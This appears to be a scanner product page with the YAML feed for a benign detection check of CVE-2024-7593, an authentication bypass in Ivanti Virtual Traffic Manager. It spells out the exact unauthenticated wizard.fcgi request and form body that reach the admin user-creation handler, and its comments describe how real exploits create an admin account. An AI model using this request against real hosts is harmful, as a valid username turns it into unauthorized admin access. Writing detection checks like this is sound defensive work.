Ivanti Virtual Traffic Manager — 1 vulnerability check

noctis ships 1 vulnerability check for Ivanti Virtual Traffic Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ivanti Virtual Traffic Manager wizard.fcgi authentication bypass

CVECVE-2024-7593
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/ivanti-vtm/CVE-2024-7593.yaml

Sends one unauthenticated POST to the vTM admin wizard (/apps/zxtm/wizard.fcgi?error=1&section=Access Management:LocalUsers) with the "create user" form and a deliberately invalid username, so no account can be created. A vulnerable server processes the form without a session and answers the wizard's validation error ("ERROR: Username must contain only…"); a fixed server redirects to the login page. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers with a crafted body
  3. Checks wizard_resp.body for (?s)<title>\s*0\s*</title>.*ERROR: Username must contain only → finding QoD 75: Ivanti vTM wizard.fcgi reachable without authentication (CVE-2024-7593)

References:

Feed source — tests/vulnerabilities/ivanti-vtm/CVE-2024-7593.yaml
# Ivanti Virtual Traffic Manager — CVE-2024-7593 authentication bypass
#
# wizard.fcgi skips its access control when the query string carries
# `error=1`; with `section=Access Management:LocalUsers` an unauthenticated
# POST reaches the "create local user" form handler (public PoCs and the
# Metasploit module auxiliary/admin/http/ivanti_vtm_admin create an admin).
#
# Benign proof (no account is ever created): the probe submits the same form
# with a username the handler must reject — it holds a space and "!", and
# vTM only accepts letters, numbers, "_" and "-". A vulnerable host runs the
# handler and answers the wizard result page with `<title>0</title>` and
# "ERROR: Username must contain only: letters, numbers, …" (the reply the
# Metasploit module maps to "invalid username"). A fixed host redirects the
# unauthenticated request to login.cgi and never processes the form.
#
# Earlier versions of this feed created `noctistest` / a fixed public password
# and logged in with it, leaving an admin backdoor on every vulnerable host
# (issue #2418).
uid: 72449cab-7e95-4b9e-98d7-45720edcbd4d
name: "Ivanti Virtual Traffic Manager wizard.fcgi authentication bypass"
description: |
  Sends one unauthenticated POST to the vTM admin wizard
  (/apps/zxtm/wizard.fcgi?error=1&section=Access Management:LocalUsers) with the
  "create user" form and a deliberately invalid username, so no account can be
  created. A vulnerable server processes the form without a session and answers
  the wizard's validation error ("ERROR: Username must contain only…"); a fixed
  server redirects to the login page. Nothing is written on the target.
cves: [CVE-2024-7593]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [ivanti, vtm, auth-bypass, wizard, kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-7593"
  - "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/ivanti_vtm_admin.rb"

steps:
  # Random per-run marker and password: never reused, and the username is
  # invalid anyway ("noctis probe!<rand>": space and "!" are rejected).
  - id: rand
    action: script
    code: |
      #{ tag: rand_str(8), pw: rand_str(16) }
    store_as: rv

  - id: init-wizard
    action: set_var
    var_name: wizard_resp
    var_value: false

  - id: wizard-invalid-user
    action: http_request
    method: POST
    path: /apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "_form_submitted=form&create_user=Create&group=admin&newusername=noctis+probe%21{{rv.tag}}&password1={{rv.pw}}&password2={{rv.pw}}"
    store_as: wizard_resp

  - id: confirm-bypass
    action: match
    source: wizard_resp.body
    pattern: "(?s)<title>\\s*0\\s*</title>.*ERROR: Username must contain only"
    condition: "type_of(wizard_resp) == \"map\" && wizard_resp.status == 200"
    on_match:
      finding:
        title: "Ivanti vTM wizard.fcgi reachable without authentication (CVE-2024-7593)"
        confidence_delta: 0.45
        qod: 75
        evidence: "Unauthenticated POST to wizard.fcgi?error=1&section=Access Management:LocalUsers was processed by the user-creation handler (HTTP {{wizard_resp.status}}, wizard validation error for a deliberately invalid username; no account created)"
      stop: true

View these feeds on GitHub